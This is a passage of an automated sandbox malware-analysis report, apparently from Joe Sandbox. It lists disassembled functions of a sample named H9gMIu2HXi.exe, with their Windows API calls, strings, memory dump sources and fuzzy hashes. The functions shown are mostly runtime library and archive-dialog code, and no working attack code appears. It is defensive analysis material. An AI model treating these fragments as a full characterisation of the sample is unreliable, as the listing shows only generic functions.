Opcode Fuzzy Hash: 90cfc665eb097c3ae47e21d0258627a14d8cc2b5ee38c7fd2c6b78b2dce9f2e1
Instruction Fuzzy Hash: 8701F732681310BFE211DFB89D4DFA77BADFF59B02F100511F701E60D0C6A269068B65

Uniqueness

Uniqueness Score: -1.00%

Function 00A49235 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00A491E6,00000000,?,00A49186,00000000,00A5D570,0000000C,00A492DD,00000000,00000002), ref: 00A49255
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00A49268
FreeLibrary.KERNEL32(00000000,?,?,?,00A491E6,00000000,?,00A49186,00000000,00A5D570,0000000C,00A492DD,00000000,00000002), ref: 00A4928B

Strings

mscoree.dll, xrefs: 00A4924E
CorExitProcess, xrefs: 00A49260

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 4973e5fc61569997091a86e2a2e4754a7c6483bcbb476374176f63b2766d9022
Instruction ID: 58370398abb1b603a7841678053a0e5ad310f14a64cad1dd3b71b4207db16380
Opcode Fuzzy Hash: 4973e5fc61569997091a86e2a2e4754a7c6483bcbb476374176f63b2766d9022
Instruction Fuzzy Hash: A6F04F74A00218BBDB11DBA4EC09BDFBFB4FB48756F000168F905B21A0DB745E95CA91

Uniqueness

Uniqueness Score: -1.00%

Function 00A30627 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00A31B3B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00A31B56
Part of subcall function 00A31B3B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00A3063A,Crypt32.dll,00000000,00A306B4,00000200,?,00A30697,00000000,00000000,?), ref: 00A31B78

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00A30646
GetProcAddress.KERNEL32(00A6A1F0,CryptUnprotectMemory), ref: 00A30656

Strings

Crypt32.dll, xrefs: 00A30630
CryptProtectMemory, xrefs: 00A30640
CryptUnprotectMemory, xrefs: 00A3064C

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 16db74330875fa830478c072669fe87488867b81cb0ffead4c9f5379117c0cc8
Instruction ID: 2132cda774763d114f519a32df476f21d553dd62273b6c61158381712739199b
Opcode Fuzzy Hash: 16db74330875fa830478c072669fe87488867b81cb0ffead4c9f5379117c0cc8
Instruction Fuzzy Hash: D9E04FB08047116ED7605F74A959F02BEE4BB1870AF118C1DF68693195D6B4D8C58B10

Uniqueness

Uniqueness Score: -1.00%

Function 00A43D6A Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00A43E31
___AdjustPointer.LIBCMT ref: 00A43E54
_abort.LIBCMT ref: 00A43EA2
___AdjustPointer.LIBCMT ref: 00A43EF0

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: 6a14c2c7c13516d635594378bf9a26ff6e79ba068be413b60cb1f246ac0e1c36
Instruction ID: e7433558db79c2552b6c7a083bb05fe11a91871a56a86d33eda22d18ce057be5
Opcode Fuzzy Hash: 6a14c2c7c13516d635594378bf9a26ff6e79ba068be413b60cb1f246ac0e1c36
Instruction Fuzzy Hash: 5651AD7BA02206AFEF299F15D942B6A77B4FFC4310F14492DE90257291E771EE80CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A4D0F0 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00A4D0F9
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00A4D11C

Part of subcall function 00A4A7FE: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00A4DBEC,00000000,?,00A480B1,?,00000008,?,00A4A871,?,?,?), ref: 00A4A830

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00A4D142
_free.LIBCMT ref: 00A4D155
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00A4D164

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: d28477dc154e11ba54eeaa57bd69d17a1ce09efac65f93865bab1d0d4e01f94c
Instruction ID: b6fca4319fcea084069749ae3673aaeec90cb3d239ee6996f31b997e95ec625e
Opcode Fuzzy Hash: d28477dc154e11ba54eeaa57bd69d17a1ce09efac65f93865bab1d0d4e01f94c
Instruction Fuzzy Hash: 7F018F7A6017257F27215BBA6C88C7B6A7DFEC6BA53150329FD08C7201EA648C42C1B1

Uniqueness

Uniqueness Score: -1.00%

Function 00A4A599 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00A4A7F0,00A4C348,?,00A4A543,00000001,00000364,?,00A45281,00000050,?,00A63070,00000200), ref: 00A4A59E
_free.LIBCMT ref: 00A4A5D3
_free.LIBCMT ref: 00A4A5FA
SetLastError.KERNEL32(00000000,?,00A63070,00000200), ref: 00A4A607
SetLastError.KERNEL32(00000000,?,00A63070,00000200), ref: 00A4A610

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 26f54b0e60ca0a035b6f94f50b2c330d8484e32d32f5a5784ed99c5846621dd3
Instruction ID: bc587dbd98191d59fc25b57b070a6b77162c42efef0c25c86a92040c3451bb84
Opcode Fuzzy Hash: 26f54b0e60ca0a035b6f94f50b2c330d8484e32d32f5a5784ed99c5846621dd3
Instruction Fuzzy Hash: 5F01F93E2C5600A7C212A7B46F45D1B257AEBF577132A0018F90D92181FF748D426167

Uniqueness

Uniqueness Score: -1.00%

Function 00A3220D Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00A324EF: ResetEvent.KERNEL32(?), ref: 00A32501
Part of subcall function 00A324EF: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00A32515

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00A32241
CloseHandle.KERNEL32(?,?), ref: 00A3225B
DeleteCriticalSection.KERNEL32(?), ref: 00A32274
CloseHandle.KERNEL32(?), ref: 00A32280
CloseHandle.KERNEL32(?), ref: 00A3228C

Part of subcall function 00A32303: WaitForSingleObject.KERNEL32(?,000000FF,00A32526,?), ref: 00A32309
Part of subcall function 00A32303: GetLastError.KERNEL32(?), ref: 00A32315

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 1fc18f5cf5cb78cea2d19313504ecfc4cc3f486cbfae6e7f11d36369eb62ad83
Instruction ID: cbcecebe927e14fcfe39900c2552aa46761602e87d5129189599207f08683047
Opcode Fuzzy Hash: 1fc18f5cf5cb78cea2d19313504ecfc4cc3f486cbfae6e7f11d36369eb62ad83
Instruction Fuzzy Hash: A5017172000B04EFC7229BA4DD84BC6BBA9FB08715F104929F26B521A0CB796A96CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00A4D9BF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00A4D9D7

Part of subcall function 00A4A66A: RtlFreeHeap.NTDLL(00000000,00000000,?,00A4DA56,?,00000000,?,00000000,?,00A4DA7D,?,00000007,?,?,00A4DE7A,?), ref: 00A4A680
Part of subcall function 00A4A66A: GetLastError.KERNEL32(?,?,00A4DA56,?,00000000,?,00000000,?,00A4DA7D,?,00000007,?,?,00A4DE7A,?,?), ref: 00A4A692

_free.LIBCMT ref: 00A4D9E9
_free.LIBCMT ref: 00A4D9FB
_free.LIBCMT ref: 00A4DA0D
_free.LIBCMT ref: 00A4DA1F

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: dd60674c81311c92b9e45cb5da05acb065e914bdbedcd449cdf675dedaa40779
Instruction ID: f2e25367803f1f90d19ca01b7e4a83eef4383fa08f9775b5688f0c12afc51bf6
Opcode Fuzzy Hash: dd60674c81311c92b9e45cb5da05acb065e914bdbedcd449cdf675dedaa40779
Instruction Fuzzy Hash: C6F01276554210AB8620DFA4F686C1AB7F9FB94B507990C0AF04CD7541CBB1FC808654

Uniqueness

Uniqueness Score: -1.00%

Function 00A33338 Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A33340
_wcslen.LIBCMT ref: 00A33351
_wcslen.LIBCMT ref: 00A33361
_wcslen.LIBCMT ref: 00A3336F
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,00A2C844,?,?,00000000,?,?,?), ref: 00A3338A

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: a1c0b145df164ee41fe38f3f1d3a80bcf02562738337d0e2b7d2cb2df16c8236
Instruction ID: 219af9eceaa24fe8879e686862fa37ce16f51d359aa017170d0cdf9b5f86c6e6
Opcode Fuzzy Hash: a1c0b145df164ee41fe38f3f1d3a80bcf02562738337d0e2b7d2cb2df16c8236
Instruction Fuzzy Hash: C2F01D37008214BBCF126F51DC09DCE3F26EB98B71B258015F6196E061CE7296659690

Uniqueness

Uniqueness Score: -1.00%

Function 00A49CD0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00A49CEE

Part of subcall function 00A4A66A: RtlFreeHeap.NTDLL(00000000,00000000,?,00A4DA56,?,00000000,?,00000000,?,00A4DA7D,?,00000007,?,?,00A4DE7A,?), ref: 00A4A680
Part of subcall function 00A4A66A: GetLastError.KERNEL32(?,?,00A4DA56,?,00000000,?,00000000,?,00A4DA7D,?,00000007,?,?,00A4DE7A,?,?), ref: 00A4A692

_free.LIBCMT ref: 00A49D00
_free.LIBCMT ref: 00A49D13
_free.LIBCMT ref: 00A49D24
_free.LIBCMT ref: 00A49D35

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 2873e8745b8e0dc86826a45a4aa85c6ea19f834c545596a0cca50de94ce9ad87
Instruction ID: 8e73e7bb1bf56c8089ac09a970920f1645be564812d0c51c8b975ebf84e4f8f0
Opcode Fuzzy Hash: 2873e8745b8e0dc86826a45a4aa85c6ea19f834c545596a0cca50de94ce9ad87
Instruction Fuzzy Hash: 7DF0FE78845122DFC702EF94FD82C467BB1F7797213460606F41957275E77209638B85

Uniqueness

Uniqueness Score: -1.00%

Function 00A32948 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00A32B06
_swprintf.LIBCMT ref: 00A32BB5

Strings

%ls, xrefs: 00A3298B, 00A329A1
%s: %s, xrefs: 00A32B15

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: a3a056eeaec3f3c6e86aea0d6b0b8c4b3d6f7cdb422773d98b1baa622ef3b04d
Instruction ID: b83b0db514a7b7d00032ee62ac80c21d0e403a078142567fb41b070f1e356c8b
Opcode Fuzzy Hash: a3a056eeaec3f3c6e86aea0d6b0b8c4b3d6f7cdb422773d98b1baa622ef3b04d
Instruction Fuzzy Hash: 5851C331A88300FFEA256F949D02F36B675AF14F41F204917FB9BB80E5C6A29550AB17

Uniqueness

Uniqueness Score: -1.00%

Function 00A49330 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\H9gMIu2HXi.exe,00000104), ref: 00A49370
_free.LIBCMT ref: 00A4943B
_free.LIBCMT ref: 00A49445

Strings

C:\Users\user\Desktop\H9gMIu2HXi.exe, xrefs: 00A49367, 00A4936E, 00A4939D, 00A493D5

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\H9gMIu2HXi.exe
API String ID: 2506810119-1714539950
Opcode ID: bd70cad1e1f458febb046c5e07714fda0c1cc6447f8a533d36d74b84e3add0e0
Instruction ID: 82b38219288fbbd0e91d665a3a1e6fb5594f732910ab9d75f6cbca9d43f1d5cc
Opcode Fuzzy Hash: bd70cad1e1f458febb046c5e07714fda0c1cc6447f8a533d36d74b84e3add0e0
Instruction Fuzzy Hash: 3F31A279A00218EFDB21DF99D985D9FBBFCEBC9710F1040AAF50497241D7705A528B91

Uniqueness

Uniqueness Score: -1.00%

Function 00A44366 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00A4438B
_abort.LIBCMT ref: 00A44496

Strings

RCC, xrefs: 00A443A5
MOC, xrefs: 00A4439D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: EncodePointer_abort
String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: 2690b3a73051c4db34c7bf89f362bc3a63c8c3229347795fd222598ad3d10786
Instruction ID: 04fc63babc52d3c0e43c300151d43b7d4131ba173c24a5809bf0287172cafd7f
Opcode Fuzzy Hash: 2690b3a73051c4db34c7bf89f362bc3a63c8c3229347795fd222598ad3d10786
Instruction Fuzzy Hash: C2414876900209AFDF15DFA8DD81BAEBBB5BF88304F148159FA046B221D335EA61DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00A27F1B Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A27F20

Part of subcall function 00A242F1: __EH_prolog.LIBCMT ref: 00A242F6

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 00A27FE5

Part of subcall function 00A28704: GetCurrentProcess.KERNEL32(00000020,?), ref: 00A28713
Part of subcall function 00A28704: OpenProcessToken.ADVAPI32(00000000), ref: 00A2871A
Part of subcall function 00A28704: GetLastError.KERNEL32 ref: 00A28759
Part of subcall function 00A28704: CloseHandle.KERNEL32(?), ref: 00A28768

Strings

SeRestorePrivilege, xrefs: 00A27F77
SeSecurityPrivilege, xrefs: 00A27F62

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ErrorH_prologLastProcess$CloseCurrentHandleOpenToken
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 2595646239-639343689
Opcode ID: 3af9862cd0864720744f8d4c9a0d04c2d1e818f258929431798a05586d144c75
Instruction ID: 81c273bbffc21943d959c920d174aa03f7b6097d376339ff6bb7d1c1786e20de
Opcode Fuzzy Hash: 3af9862cd0864720744f8d4c9a0d04c2d1e818f258929431798a05586d144c75
Instruction Fuzzy Hash: ED31E531D44264BEDF20EBACAE01BEE7BB9AB04354F004035F805A6195CBB88E49CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A3BDE0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00A212F6: GetDlgItem.USER32(00000000,00003021), ref: 00A2133A
Part of subcall function 00A212F6: SetWindowTextW.USER32(00000000,00A545F4), ref: 00A21350

EndDialog.USER32(?,00000001), ref: 00A3BE68
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 00A3BE7D
SetDlgItemTextW.USER32(?,00000066,?), ref: 00A3BE92

Strings

ASKNEXTVOL, xrefs: 00A3BDF8

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 806b6db6e48448094b2156fe037f95a03580aa5abad86d87acfeb0fc3d11d788
Instruction ID: f3ded979f9278f689094c18b708543a4a63ba3906a6c9bd346be8aae90f96d54
Opcode Fuzzy Hash: 806b6db6e48448094b2156fe037f95a03580aa5abad86d87acfeb0fc3d11d788
Instruction Fuzzy Hash: 2E11B633610121BFD611DFACED09FBA37AAFB4AB40F140414FB40AB1B5C762990A9775

Uniqueness

Uniqueness Score: -1.00%

Function 00A2EC0C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 00A2EC74
_strncpy.LIBCMT ref: 00A2ECBA

Part of subcall function 00A330F5: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00A63070,00000200,00A2EC48,00000000,?,00000050,00A63070), ref: 00A33112

Strings

$%s, xrefs: 00A2EC69
@%s, xrefs: 00A2EC5E

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
